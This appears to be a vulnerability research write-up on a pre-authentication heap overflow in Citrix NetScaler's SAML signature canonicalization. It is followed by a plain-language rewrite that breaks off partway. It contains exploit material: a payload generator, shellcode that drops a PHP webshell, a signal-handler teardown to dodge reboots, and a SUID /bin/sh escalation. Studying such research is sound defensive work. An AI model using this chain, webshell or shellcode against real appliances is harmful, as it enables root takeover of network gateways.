You’re Back In The Room (Citrix NetScaler Pre-Auth RCE CVE-2026-8452(?))
A heap overflow in Citrix NetScaler's SAML signature canonicalization allows an unauthenticated attacker to copy attacker-controlled data past a fixed-size buffer into an adjacent chunk's metadata. By controlling the overflow length and contents, the attacker can turn a later memcpy into a write-what-where primitive and overwrite a function pointer to achieve remote code execution.
Published on labs.watchtowr.com
This research is a glimpse into the capability powering the watchTowr Platform, a Preemptive Exposure Management solution. We enable organizations to autonomously validate and mitigate their exposure to emerging threats, ahead of in-the-wild exploitation.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Citrix NetScaler (rebranded and un-rebranded over the years) is a family of application delivery controllers and VPN gateway appliances found in most large enterprise networks. It handles load balancing, SSL offloading, authentication and remote access, and NetScaler Gateway specifically acts as the front door for many organisations' remote access infrastructure.
The vulnerability discussed here lives in the SAML authentication functionality. Based on the researchers' testing, it is reachable when the appliance is configured to use SAML either as a Service Provider (SP) or as an Identity Provider (IdP). The affected code is in nsppe, NetScaler's packet-processing engine, which runs as root and handles the entire network stack.
Citrix lists the following versions as affected:
- NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-72.61
- NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.18
The write-up is from watchTowr Labs. The researchers believe, but cannot confirm, that the issue is CVE-2026-8452, described by Citrix as a "Memory Overflow". Citrix does not correlate individual CVEs with the researchers credited in the advisory; one of the credited researchers is Michael Tucker from the XOR team at JPMorgan Chase, and the authors speculate (with no evidence, as they say themselves) that the finding may be the output of Mythos-aided research.
Setup
The analysis was performed against a vulnerable NetScaler 13.1 appliance configured to use SAML. The researchers worked from the patched binaries: they diffed nsppe between versions, recovered symbols to load into GDB, and used Diaphora for function diffing. No accounts, roles or credentials are described beyond the SAML configuration precondition.
Finding it
The starting point was not a specific vulnerability but the question "what changed?" across the bundled fixes. The nsppe binary showed a significant amount of change, with plenty of stripped symbols thrown in. Asking Diaphora to diff 39,637 functions was not appealing.


After the diffing work, 174 changed functions were left to review. Among them were a number of changes in the SAML authentication functionality. One change stood out: the 63.18 patch adds explicit size checks around certain copies, which is exactly what pointed the researchers at the bug. During signature canonicalization, earlier versions copy attacker-controlled data from the SAML message's ds:SignedInfo element into a fixed-size global buffer without checking whether it fits.
The patched code shows the new check, comparing an offset against 0x1001 and logging SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns) when it is exceeded:
[..SNIP..]
v73 = (int)v191 + 46LL;
if ( v73 >= 0x1001 )
{
if ( (*((_BYTE *)off_2E26480 + 12682) & 1) != 0 || (*((_BYTE *)off_2E26480 + 655736) & 8) == 0 )
goto LABEL_92;
sub_142E640((unsigned int)v195, 25, 603, 3, 0, 0, 0);
v48 = sub_208CB90(
LODWORD(v195[0]) + 56,
1156,
(unsigned int)"SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns)",
v73,
v93,
v94,
v164);
v50 = v195[0];
*(_WORD *)(v195[0] + 12LL) = v48;
v51 = v48;
if ( v48 < 0x485u )
goto LABEL_83;
v78 = "SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns)";
LABEL_82:
v55 = sub_208CB90((unsigned int)&unk_3872B10, 0x3FFF, (_DWORD)v78, v73, v76, v77, v162);
goto LABEL_87;
}
[..SNIP..]

What SignedInfo is
When someone sends NetScaler a signed SAML message, the appliance has to check that the signature is real. It does not sign the whole message; it signs one small block inside it called <SignedInfo>. SignedInfo is a receipt saying what is being signed and how, and the actual signature is calculated over that receipt.
<Signature>
<SignedInfo>
...
</SignedInfo>
<SignatureValue>...</SignatureValue>
<KeyInfo>...</KeyInfo>
</Signature>
Before hashing SignedInfo, both sides rewrite it into one standard, tidied-up form, because the same XML can be written many slightly different ways (extra spaces, attribute order, line breaks) and a signature is math over exact bytes. This clean-up step is called canonicalization, or c14n. Both the sender and NetScaler perform the same clean-up so they hash the same bytes. To tidy up SignedInfo, NetScaler builds the cleaned-up text in a memory buffer, and that buffer is a fixed size.
SignedInfo always has three parts:
<SignedInfo>
<CanonicalizationMethod Algorithm="..."/>
<SignatureMethod Algorithm="..."/>
<Reference URI="#_thing">
...
</Reference>
</SignedInfo>
CanonicalizationMethodspecifies which clean-up rule to use, via an Algorithm attribute. When the "exclusive" method is used, it can hold a child element,<InclusiveNamespaces PrefixList="...">, and the PrefixList is just a list of words the sender chooses.SignatureMethodsays which signature algorithm was used (for example RSA with SHA-256), via an Algorithm attribute.Referencepoints at the thing being signed (in SAML, usually the assertion). It has a URI attribute and children: a list of Transforms (which can also contain a PrefixList), a DigestMethod and a DigestValue.
Since canonicalization copies that text into a fixed-size buffer, the question becomes which part of SignedInfo an attacker can make huge.

Exploitation
Step 1: fuzz the attributes and find PrefixList
The researchers fuzzed every attribute they could find. Most either had their own checks or were limited to a small set of constant values. One attribute behaved differently: PrefixList.

Reversing showed that PrefixList can contain pretty much any string. The only catch is that each space-separated value has to be unique. So instead of AAAA AAAA AAAA AAAA, the researchers used unique markers such as N0000 N0001 N0002 N0003:
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="<http://www.w3.org/2001/10/xml-exc-c14n#>">
<ec:InclusiveNamespaces
xmlns:ec="<http://www.w3.org/2001/10/xml-exc-c14n#>"
PrefixList="n0 n1 n2 ... n739 ..."/>
</ds:CanonicalizationMethod>
...
</ds:SignedInfo>
A generator for an oversized list looks like this:
[..SNIP..]
prefix_list_overflow = " ".join(f"N{i}" for i in range(2000))
inclusive_ns = f'<ec:InclusiveNamespaces xmlns:ec="<http://www.w3.org/2001/10/xml-exc-c14n#>" PrefixList="{prefix_list_overflow }"/>'
[..SNIP..]

And decoded:

Sending it produced a crash:
Program received signal SIGBUS, Bus error.
0x000000001c6dea0 in ??()
Step 2: recover symbols and understand the crash
With no symbols, the crash location was unknown. After recovering a few symbols and loading them into GDB, the same crash resolved to:
Program received signal SIGBUS, Bus error.
0x000000001c6dea0 in ns_memcpy_avx ()
The crashing instruction dereferences $rax, which holds an invalid value:
(gdb) x/i $rip
=> 0x1c6dea0 <ns_memcpy_avx+352>: vmovdqu YMMWORD PTR [rax], ymm0
(gdb) p/x $rax
$1 = 0x4d4d4d4d4d4d43d3
On FreeBSD, invalid memory accesses like this can produce SIGBUS rather than the SIGSEGV you would expect on Linux. The 0x4d bytes are the researchers' own: they deliberately filled part of the overflow with M characters (0x4d) as a marker. Seeing 0x4d4d4d4d4d4d4d4d inside a pointer used by memcpy shows the data reached allocator metadata. The lower bytes are 0x43d3 rather than 0x4d4d, which is not corruption but the result of arithmetic explained below.
The crash was not at the point of overflow. It happened later, when NetScaler retrieved a chunk from the freelist whose metadata had already been corrupted:
(gdb) bt
#0 ns_memcpy_avx ()
#1 0x00000000015d128b in splitPktInner ()
#2 0x00000000015d2a40 in splitPkt ()
#3 ... in nstcp_send_nsb ()
#4 ... in the aaad send path
Because the metadata was smashed during canonicalization, the program carried on running and only fell over when the chunk was pulled back from the freelist. The crash inside ns_memcpy_avx is nowhere near the actual overflow.
Step 3: walk back to splitPktInner and find controlled arguments
The researchers placed breakpoints on functions throughout the backtrace and worked backwards, landing on splitPktInner. After decompiling it, setting a breakpoint and triggering the overflow again, they had control of the value in rdi:
Program received signal SIGBUS, Bus error.
0x00000000015d128b in splitPktInner ()
(gdb) p/x $rdi
$1 = 0x4d4d4d4d4d4d43d3
splitPktInner calls memcpy at around 0x15D128B. Inspecting the arguments just before the call showed:
// a3 is a freshly-allocated chunk that we are corrupting its header via the overflow
// a1 is a ptr to a chunk holding our canonicalized data
memcpy(*(a3 + 0x50), // DEST = poisoned data pointer
*(a1 + 0x50), // SRC = our canon
*(a1 + 0xE0) - *(a1 + 0x50)); // LEN = packet length
The 0x43d3 comes from arithmetic. The researchers planted a block of M bytes at a3+0x50, but splitPktInner adjusts that value by the packet length before handing it to memcpy:
dest = *(a3+0x50) - pktlen
The packet was 0x97A (2426) bytes, so:
0x4D4D4D4D4D4D4D4D our planted M tag at a3+0x50 ("MMMMMMMM")
- 0x0000097A minus the packet length
--------------------------
0x4D4D4D4D4D4D43D3 the dest ns_memcpy_avx faulted on
The destination is a value the attacker fully controls, minus a length the attacker also controls. To land the copy on address X, adjust the overflow length so the subtraction drops it on X.
The source is also attacker-controlled. For a while the researchers assumed it was an internal framing header, which cost them time. It is *(a1+0x50), and a1 is the chunk holding the canonicalized PrefixList. Confirmed at the splitPktInner breakpoint before the copy runs:
(gdb) p/x $rsi
$2 = 0x1124000a0
(gdb) x/32bx $rsi
0x1124000a0: 0x4d 0x30 0x30 0x30 0x30 0x30 0x30 0x30 "M0000000"
0x1124000a8: 0x4d 0x30 0x30 0x30 0x30 0x30 0x30 0x38 "M0000008"
0x1124000b0: 0x4d 0x30 0x30 0x30 0x30 0x30 0x31 0x36 "M0000016"
...
Those M0000000 M0000008 M0000016 ... tokens are the markers, byte for byte. The result is a memcpy copying from the packet to any address: a write-what-where primitive.
Step 4: understand which chunk is smashed
The canonicalized PrefixList is packed into an nsb, a NetScaler network buffer chunk. These chunks sit back to back in the pool on a fixed stride of 0x980, each with a small header at the front and a data area starting at +0x180:
chunk N (a1, holds our canon) chunk N+1 (a3, the one we corrupt)
+---------------------------------+ +---------------------------------+
| header | data buffer @ +0x180 | | header | data |
| | our canon lives here | | +0x00 type magic | |
| | ...and keeps going... | ==> | +0x50 data pointer | <-- tag |
| | | | +0x60 freelist link | |
+---------------------------------+ +---------------------------------+
^
write runs off the end
of this data buffer
When the canonical form is bigger than the data buffer it is meant to fit in, it keeps writing, runs off the end of chunk N and spills onto the header of the next chunk. That header holds the fields the allocator and packet code trust: the type magic at +0x00, the data pointer at +0x50, the freelist link at +0x60. The overflow is a plain linear write from one chunk's data area into its neighbour's metadata.
Step 5: sweep the overflow size
Small payload changes moved the crash, which was maddening. The researchers varied the overflow size on the theory that the size determines which chunk is clobbered and how deep into its header the write reaches. A short overflow might only touch the neighbour's type field; a bigger one reaches +0x50 and +0x60; bigger still and it runs into the chunk after that. Because chunks come off a freelist, the size also changes which chunk is handed back as a3 later. The overflow length is a dial that picks both the victim chunk and which of its fields get owned.
They swept it on purpose: pick a size, break on NetScaler's allocator (which appears to be ns_alloc_jumbo_nsb) and on splitPktInner, dump the freshly allocated a3 header, and see which marker bytes landed on which field. This is why the self-describing N%07d markers were built: if a field reads back as N0000744, byte 744 of the PrefixList landed there, and that is the precise byte to tweak to steer the field.
A dump of a smashed a3 header mid-sweep:
(gdb) p/x $rdi
$3 = 0x112d30000
(gdb) x/gx $rdi
0x112d30000: 0x303030304e303030
(gdb) x/gx $rdi+0x50
0x112d30050: 0x4d4d4d4d4d4d4d4d
(gdb) x/gx $rdi+0x60
0x112d30060: 0x0000000112d30000
With byte-for-byte ownership of header fields, the process became "pick the byte, set the value". a3+0x50 steers where the memcpy writes. a3+0x60 is pinned to a real chunk address so the allocator does not choke on a marker when it walks the freelist. Everything else is left as harmless N markers.
Step 6: turn the primitive into RIP control
The binary is non-PIE and there is no ASLR, so every function and global lives at a fixed, known address. No info leak is needed. Overwriting a function pointer looked easiest. The __free_hook technique did not work for reasons the researchers never worked out, so they looked for NetScaler-specific candidates.
pe_tx_pkt was executed regularly, and inside it a pointer named tx_pkt_complete_fptr is loaded and jumped to:
0x1E1A61F: mov rax, cs:tx_pkt_complete_fptr
0x1E1A626: pop rbp
0x1E1A627: jmp rax
Overwriting its value with the write-what-where primitive produced a different crash:
Program received signal SIGSEGV, Segmentation fault.
0x0000000001e1a627 in pe_tx_pkt ()
(gdb) x/i $rip
=> 0x1e1a627 <pe_tx_pkt+151>: jmp rax
(gdb) p/x $rax
$1 = 0x303030304e343437 # "744N0000" -> our canon, and this is exactly rax at jmp rax
The $rax value is ASCII from the PrefixList, and the 744 marker shows it landed around byte 744 of the data. Bytes 749 to 756 of the canon are the eight that end up in tx_pkt_complete_fptr. Setting those eight bytes to a chosen value and sending again:
(gdb) x/i $rip
=> 0x1e1a627 <pe_tx_pkt+151>: jmp rax
(gdb) p/x $rax
$2 = 0xdeadbeefdeadbeef # fully controlled now
That is full RIP control.
Step 7: jump to shellcode on the heap
nsppe lacks almost all of the protections you would hope for, and the heap is executable. There is no ASLR, and the address of the heap chunk is always the same on a freshly spawned process, which can be arranged by crashing nsppe once to force a respawn. In the researchers' testing, on their version of NetScaler, a fresh nsppe instance always had the PrefixList data at 0x112d30000 on the heap, RWX.
The write-what-where overwrites tx_pkt_complete_fptr with the address of the shellcode on the heap. pe_tx_pkt loads that pointer into rax, hits jmp rax, and jumps into the shellcode:

Step 8: drop a webshell
Following the strategy of earlier NetScaler research, the shellcode drops a PHP webshell at:
/var/vpn/theme/x.php
All that was needed were the open, write and close syscalls to write the string <?php echo(system($_GET[0])); ?> to disk:
sc += shellcraft.pushstr("/var/vpn/theme/x.php")
sc += f"""
mov rdi, rsp
"""
sc += shellcraft.syscall(
SYS_open,
"rdi",
O_WRONLY | O_CREAT | O_TRUNC,
MODE
)
sc += """
mov r12, rax
"""
content = "<?php echo(system($_GET[0])); ?>"
sc += shellcraft.pushstr(content)
sc += """
mov rdi, r12
mov rsi, rsp
"""
sc += shellcraft.syscall(
SYS_write,
"rdi",
"rsi",
len(content)
)
sc += """
mov rdi, r12
"""
sc += shellcraft.syscall(
SYS_close,
"rdi"
)
Jumping to the shellcode created the file:

Two problems remained. The first was a host that crashes:

The second was Pitboss.
Step 9: deal with Pitboss
Every time nsppe crashes, a process named pitboss is notified and the entire NetScaler instance reboots.

Waiting for the reboot and then hitting the webshell does not work:

None of the files dropped survive a reboot. Looping on the webshell and hitting it before the device reboots does not work either, because nsppe handles the entire network stack: the moment it crashes, not a single packet gets through.
The classic answer is process continuity: have the shellcode repair everything corrupted on the way in so nsppe never crashes. That was not viable here, because far too much was corrupted, and restoring some of the clobbered values would have required an info leak the researchers did not have.
The idea they settled on: how does pitboss know the process crashed? The quickest way to build such a thing would be for the crashing process to notify pitboss from a signal handler. That is exactly what happens. nsppe registers handlers for SIGSEGV, SIGBUS and friends, and when one fires, the callback tells pitboss that something has gone wrong and the box needs restarting.
To neutralise the handlers, the shellcode needs the sigaction syscall:

Additional shellcode tears down every signal handler:
SYS_sigaction = 416
SIG_IGN = 1
signals = [
4,
5,
6,
8,
10,
11
]
sc = """
xor eax,eax
push rax
push rax
push rax
push 1
"""
for sig in signals:
sc += f"""
mov rsi,rsp
xor edx,edx
push {sig}
pop rdi
push {SYS_sigaction}
pop rax
syscall
"""
After sending this shellcode, the NetScaler error log showed a new entry: instead of rebooting the entire machine, pitboss simply respawned nsppe. The webshell dropped by the shellcode survives.

That is code execution, but as nobody:

Step 10: from nobody to root
nsppe already runs as root, so the shellcode executes as root. The webshell is different: when the freshly written shell is requested, the process that executes the PHP is the webserver, which runs as nobody.

Borrowing a trick from Caleb Gross at Bishop Fox, the shellcode sets the SUID bit on /bin/sh. Any command run through the webshell then executes with an EUID of root:

Root cause
During SAML signature canonicalization, earlier versions of NetScaler copy attacker-controlled data from the ds:SignedInfo element into a fixed-size global buffer without checking whether it fits. The PrefixList attribute of <ec:InclusiveNamespaces> accepts almost any string, subject only to each space-separated value being unique, and the canonicalized form is packed into an nsb network buffer chunk whose data area starts at +0x180 with a fixed stride of 0x980. When the canonical form is larger than the data buffer, the write continues past the end of the chunk and into the header of the adjacent chunk, corrupting the type magic at +0x00, the data pointer at +0x50 and the freelist link at +0x60.
The corrupted data pointer is later trusted by splitPktInner, which computes dest = *(a3+0x50) - pktlen and passes it to memcpy together with a source pointer into the attacker's canonicalized data and a length derived from the packet. That yields a write-what-where. Because nsppe is non-PIE with no ASLR and an executable heap, the primitive is enough to overwrite the tx_pkt_complete_fptr function pointer and redirect execution to shellcode at a fixed heap address.
Existing defences did not stop the chain: the binary lacks almost all of the protections you would hope for, there is no ASLR, and the heap is executable. The 63.18 patch adds explicit size checks around these copies.
Impact
The vulnerability is unauthenticated and remotely reachable when the appliance is configured to use SAML as either a Service Provider or an Identity Provider. An attacker can corrupt packet-engine state, crash nsppe, and, with the full chain, achieve remote code execution as root inside nsppe. The shellcode can write files to disk, and with the SUID bit set on /bin/sh, commands run through the dropped webshell execute with an EUID of root.
The practical limits are worth stating: crashing nsppe triggers pitboss and reboots the appliance, which destroys dropped files, and while nsppe is down no packets get through. The chain depends on the fixed heap address of the PrefixList data on a freshly spawned nsppe, which the researchers arranged by crashing the process once to force a respawn, and on the absence of ASLR and the executable heap in the tested version.
Fix
The 63.18 patch adds explicit size checks around the copies, rejecting a SignedInfo whose size exceeds the limit with SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns). Citrix lists as affected 14.1 before 14.1-72.61 and 13.1 before 13.1-63.18. The report describes no other mitigation.
Variants to test
- Send an oversized
PrefixListin<ec:InclusiveNamespaces>insideCanonicalizationMethodon any SAML-configured NetScaler below the fixed versions, and watch for aSIGBUSinns_memcpy_avxor a crash ofnsppe. A positive result is a crash whose faulting pointer contains your marker bytes. - The report notes Transforms can also contain a PrefixList. A positive result is the same canonicalization overflow.
- Sweep the overflow length and break on
ns_alloc_jumbo_nsbandsplitPktInner, dumping thea3header. A positive result is a header field reading back as one of yourN%07dmarkers, telling you which payload byte owns which field. - Check whether
tx_pkt_complete_fptris reachable and overwritable on other builds, and whether the heap address of the canonicalized data is stable after a forced respawn. A positive result is$raxatjmp raxequal to your chosen value. - Test whether the signal handlers for
SIGSEGV,SIGBUSand friends can be ignored withsigactionon other versions, and whetherpitbossrespawns rather than reboots. A positive result is a respawnednsppewith your dropped file still on disk.
What happened, in plain words
A security research team at watchTowr Labs found a serious flaw in Citrix NetScaler, a piece of equipment that many large organisations put at the front of their network to handle remote logins. The flaw lets someone who has never logged in send a specially crafted login message and take control of the device. The researchers worked out how to turn that into running their own code on the machine, as the most powerful user on it.
This article walks through their work from the beginning, assuming you have never studied security. Every technical word is explained the first time it appears, and there is a glossary at the end. The code and messages shown are copied exactly as the researchers published them.
The product, and why it matters
Citrix NetScaler (which has been renamed and renamed back over the years, the way enterprise networking vendors do) is a family of appliances: physical or virtual machines that sit between the internet and an organisation's internal systems. It handles several jobs at once:
- Load balancing: spreading incoming traffic across several servers so no single one is overwhelmed.
- SSL offloading: doing the encryption and decryption work (the padlock in your browser) so the servers behind it do not have to.
- Authentication: checking who a user is.
- Remote access: letting employees reach internal systems from home.
NetScaler Gateway is the part that acts as the front door for many organisations' remote access. If it is broken, the front door is broken.
The flaw lives in the part of NetScaler that speaks SAML. SAML is a standard way for two systems to agree that a user has logged in. Think of it like a stamped letter of introduction: one system (the Identity Provider, or IdP) signs a statement saying "this person is who they claim to be", and the other system (the Service Provider, or SP) checks the signature and lets the person in. NetScaler can play either role. The researchers found that the flaw is reachable when NetScaler is set up to use SAML in either role.
The vulnerable code is inside nsppe, which is NetScaler's packet-processing engine: the program that handles every network packet that arrives. It runs as root, the all-powerful administrator account on a Unix-like system, and it handles the entire network stack. That combination, network-facing and root, is what makes the flaw so serious.
Citrix lists these versions as affected:
- NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-72.61
- NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.18
"Before" here means any version number lower than the one shown. If your appliance is on 13.1-63.17 or earlier, it is in scope.
Which vulnerability is it?
The write-up is from watchTowr Labs. The researchers believe, but cannot confirm, that the issue is CVE-2026-8452. A CVE is a public catalogue number for a known vulnerability, like a library reference number, so people can talk about the same bug unambiguously. Citrix describes that CVE as a "Memory Overflow".
Citrix does not say which CVE belongs to which credited researcher. One of the credited researchers is Michael Tucker from the XOR team at JPMorgan Chase. The authors speculate, and say plainly that they have no evidence, that the finding may be the output of Mythos-aided research, a model JPMorgan has publicly said it has access to. Treat that as speculation, not fact.
Setting up the analysis
The researchers analysed a vulnerable NetScaler 13.1 appliance configured to use SAML. They did not have the source code, so they worked from the compiled programs (the binaries) that Citrix ships. Their method was to compare the old, vulnerable binary with the new, patched one and look for differences. A patch that fixes a bug almost always leaves a visible trace: a new check, a new error message, a changed size limit.
They used a tool called Diaphora to compare functions between the two versions. A function is a named block of code that does one job, like "copy these bytes" or "check this signature". A binary contains thousands of them. They also recovered symbols: a compiled binary usually has names stripped out to save space, so a debugger sees anonymous addresses instead of names like splitPktInner. Recovering symbols means matching those addresses back to names, often by comparing against a version that still has them.
GDB is the debugger they used. A debugger lets you pause a running program, inspect its memory and registers, and step through it one instruction at a time. It is the microscope of this kind of research.
No accounts, roles or credentials are described beyond the SAML configuration precondition. The only thing an attacker needs is that SAML is switched on.
Finding it
The researchers did not start with a specific bug in mind. They started with the question "what changed?" across all the fixes bundled into one patch release. The nsppe binary showed a significant amount of change, with plenty of stripped symbols thrown in. Asking Diaphora to diff 39,637 functions was not appealing.


After the diffing work, 174 changed functions were left to review. Among them were several changes in the SAML authentication code. One change stood out: the 63.18 patch adds explicit size checks around certain copies. A size check is exactly what it sounds like: before copying data into a buffer, compare the amount of data against the space available and refuse if it does not fit. The presence of a new size check is a strong hint that the old code was missing one, and that is exactly what led the researchers to the bug.
During signature canonicalization, earlier versions copy attacker-controlled data from the SAML message's ds:SignedInfo element into a fixed-size global buffer without checking whether it fits. We will unpack every word of that sentence shortly.
The patched code shows the new check. It compares an offset against 0x1001 (4097 in decimal) and logs an error when it is exceeded:
[..SNIP..]
v73 = (int)v191 + 46LL;
if ( v73 >= 0x1001 )
{
if ( (*((_BYTE *)off_2E26480 + 12682) & 1) != 0 || (*((_BYTE *)off_2E26480 + 655736) & 8) == 0 )
goto LABEL_92;
sub_142E640((unsigned int)v195, 25, 603, 3, 0, 0, 0);
v48 = sub_208CB90(
LODWORD(v195[0]) + 56,
1156,
(unsigned int)"SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns)",
v73,
v93,
v94,
v164);
v50 = v195[0];
*(_WORD *)(v195[0] + 12LL) = v48;
v51 = v48;
if ( v48 < 0x485u )
goto LABEL_83;
v78 = "SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns)";
LABEL_82:
v55 = sub_208CB90((unsigned int)&unk_3872B10, 0x3FFF, (_DWORD)v78, v73, v76, v77, v162);
goto LABEL_87;
}
[..SNIP..]

Line by line, in plain words:
v73 = (int)v191 + 46LL;computes a size: whatever is inv191, plus 46. This is the size of the data about to be handled.if ( v73 >= 0x1001 )is the new check.0x1001is hexadecimal for 4097. If the size is 4097 or more, the code takes the error path instead of copying.- The inner
ifwithoff_2E26480checks some logging flags, deciding whether to write the error to a log. sub_142E640(...)andsub_208CB90(...)are calls to helper functions whose names were stripped. The second one receives the format string"SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns)", which is the message that ends up in the log.goto LABEL_92,goto LABEL_83,goto LABEL_87are jumps to other parts of the function, skipping the copy.
The important part is the shape: a comparison, then a refusal. The old code had no such comparison, so it copied whatever it was given, however large.
What SignedInfo is
When someone sends NetScaler a signed SAML message, the appliance has to check that the signature is real. It does not sign the whole message; it signs one small block inside it called <SignedInfo>. SignedInfo is a receipt saying what is being signed and how, and the actual signature is calculated over that receipt. Check the receipt and you have checked the signature.
<Signature>
<SignedInfo>
...
</SignedInfo>
<SignatureValue>...</SignatureValue>
<KeyInfo>...</KeyInfo>
</Signature>
This is XML, a text format where data is wrapped in tags like <Signature> and </Signature>. Reading it:
<Signature>opens the signature block.<SignedInfo>opens the receipt: a description of what is being signed....stands for the contents, shown in the next example.</SignedInfo>closes the receipt.<SignatureValue>holds the actual cryptographic signature, the mathematical stamp.<KeyInfo>holds information about the key used to make the stamp.</Signature>closes the whole block.
Before hashing SignedInfo, both sides rewrite it into one standard, tidied-up form. Why? Because the same XML can be written many slightly different ways: extra spaces, attributes in a different order, line breaks. A signature is mathematics over exact bytes, so changing one space changes the bytes and breaks the maths, even though nothing meaningful changed. This clean-up step is called canonicalization, often shortened to c14n. Both the sender and NetScaler perform the same clean-up, so they end up hashing the same bytes.
To tidy up SignedInfo, NetScaler builds the cleaned-up text in a memory buffer: a reserved block of memory of a set size. That buffer is a fixed size. If the cleaned-up text is bigger than the buffer, something has to give.
SignedInfo always has three parts:
<SignedInfo>
<CanonicalizationMethod Algorithm="..."/>
<SignatureMethod Algorithm="..."/>
<Reference URI="#_thing">
...
</Reference>
</SignedInfo>
CanonicalizationMethodspecifies which clean-up rule to use, via anAlgorithmattribute. An attribute is a name=value pair inside a tag, likeAlgorithm="...". When the "exclusive" method is used, it can hold a child element,<InclusiveNamespaces PrefixList="...">, and thePrefixListis just a list of words the sender chooses.SignatureMethodsays which signature algorithm was used (for example RSA with SHA-256), via anAlgorithmattribute.Referencepoints at the thing being signed (in SAML, usually the assertion, the statement about the user). It has aURIattribute and children: a list ofTransforms(more processing steps, which can also contain aPrefixList), aDigestMethodand aDigestValue.
Since canonicalization copies that text into a fixed-size buffer, the question becomes which part of SignedInfo an attacker can make huge.

Exploitation
Step 1: fuzz the attributes and find PrefixList
Fuzzing means feeding a program lots of varied inputs and watching what happens, looking for crashes or odd behaviour. The researchers fuzzed every attribute they could find in SignedInfo. Most either had their own checks or were limited to a small set of constant values. One attribute behaved differently: PrefixList.

Reversing showed that PrefixList can contain pretty much any string. The only catch is that each space-separated value has to be unique. So instead of AAAA AAAA AAAA AAAA, the researchers used unique markers such as N0000 N0001 N0002 N0003:
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="<http://www.w3.org/2001/10/xml-exc-c14n#>">
<ec:InclusiveNamespaces
xmlns:ec="<http://www.w3.org/2001/10/xml-exc-c14n#>"
PrefixList="n0 n1 n2 ... n739 ..."/>
</ds:CanonicalizationMethod>
...
</ds:SignedInfo>
Reading this:
<ds:SignedInfo>opens the receipt. Theds:prefix is a namespace label, a way of saying which standard this tag comes from.<ds:CanonicalizationMethod Algorithm="...">says which clean-up rule to use. The URL names the "exclusive" rule.<ec:InclusiveNamespaces ... PrefixList="n0 n1 n2 ... n739 ..."/>is the child element that carries the list of words. Thexmlns:ecattribute declares the namespace for theec:prefix.PrefixList="n0 n1 n2 ... n739 ..."is the attacker-controlled list. The...shows it keeps going.</ds:CanonicalizationMethod>and</ds:SignedInfo>close the elements.
A generator for an oversized list looks like this:
[..SNIP..]
prefix_list_overflow = " ".join(f"N{i}" for i in range(2000))
inclusive_ns = f'<ec:InclusiveNamespaces xmlns:ec="<http://www.w3.org/2001/10/xml-exc-c14n#>" PrefixList="{prefix_list_overflow }"/>'
[..SNIP..]
This is Python, a programming language often used for scripting. Line by line:
prefix_list_overflow = " ".join(f"N{i}" for i in range(2000))builds a string of 2000 words,N0throughN1999, separated by spaces.range(2000)produces the numbers 0 to 1999,f"N{i}"turns each intoNfollowed by the number, and" ".join(...)glues them together with spaces.inclusive_ns = f'<ec:InclusiveNamespaces ... PrefixList="{prefix_list_overflow }"/>'wraps that list in the XML element, producing the text that will be sent.

And decoded:

Sending it produced a crash:
Program received signal SIGBUS, Bus error.
0x000000001c6dea0 in ??()
A crash is the program stopping because it did something impossible, like reading memory it is not allowed to. SIGBUS is the name of one kind of crash signal on Unix-like systems. 0x000000001c6dea0 is the memory address where it happened, and ??() means the debugger could not name the function, because symbols were stripped.
Step 2: recover symbols and understand the crash
With no symbols, the crash location was unknown. After recovering a few symbols and loading them into GDB, the same crash resolved to:
Program received signal SIGBUS, Bus error.
0x000000001c6dea0 in ns_memcpy_avx ()
Now the address has a name: ns_memcpy_avx. memcpy is a standard operation that copies a block of bytes from one place in memory to another. The _avx suffix means it uses a fast CPU instruction set. So the crash is inside a memory copy.
The crashing instruction dereferences $rax, which holds an invalid value:
(gdb) x/i $rip
=> 0x1c6dea0 <ns_memcpy_avx+352>: vmovdqu YMMWORD PTR [rax], ymm0
(gdb) p/x $rax
$1 = 0x4d4d4d4d4d4d43d3
Line by line:
(gdb) x/i $ripasks GDB to show the instruction at the current instruction pointer ($rip).=> 0x1c6dea0 <ns_memcpy_avx+352>: vmovdqu YMMWORD PTR [rax], ymm0is that instruction.vmovdquis a fast copy instruction.YMMWORD PTR [rax]means "the memory location whose address is in theraxregister".ymm0is a CPU register holding the data to write. So: write the contents ofymm0to the address inrax.(gdb) p/x $raxprints the value ofraxin hexadecimal.$1 = 0x4d4d4d4d4d4d43d3is that value. It is not a valid memory address, so the write fails.
A register is a tiny, very fast storage slot inside the CPU. rax, rdi, rsi, rip are names of registers. rip holds the address of the next instruction to run.
On FreeBSD (the operating system NetScaler runs on), invalid memory accesses like this can produce SIGBUS rather than the SIGSEGV you would expect on Linux. Both mean "the program touched memory it should not have".
The 0x4d bytes are the researchers' own: they deliberately filled part of the overflow with M characters (0x4d is the byte value of the letter M) as a marker. Seeing 0x4d4d4d4d4d4d4d4d inside a pointer used by memcpy shows the data reached allocator metadata. The allocator is the part of the program that hands out and reclaims memory; its metadata is the bookkeeping it keeps about each block. The lower bytes are 0x43d3 rather than 0x4d4d, which is not corruption but the result of arithmetic explained below.
The crash was not at the point of overflow. It happened later, when NetScaler retrieved a chunk from the freelist, the list of memory blocks that are free and waiting to be reused, whose metadata had already been corrupted:
(gdb) bt
#0 ns_memcpy_avx ()
#1 0x00000000015d128b in splitPktInner ()
#2 0x00000000015d2a40 in splitPkt ()
#3 ... in nstcp_send_nsb ()
#4 ... in the aaad send path
bt means backtrace: the list of function calls that led to the current point, like a stack of plates where each plate called the one above it. Reading from the top:
#0 ns_memcpy_avx ()is where it crashed.#1 splitPktInner ()called it.#2 splitPkt ()called that.#3 nstcp_send_nsb ()called that.#4 the aaad send pathis the higher-level code that started it all.
Because the metadata was smashed during canonicalization, the program carried on running and only fell over when the chunk was pulled back from the freelist. The crash inside ns_memcpy_avx is nowhere near the actual overflow. This is a common pattern: the damage happens in one place and the symptom appears much later, somewhere else.
Step 3: walk back to splitPktInner and find controlled arguments
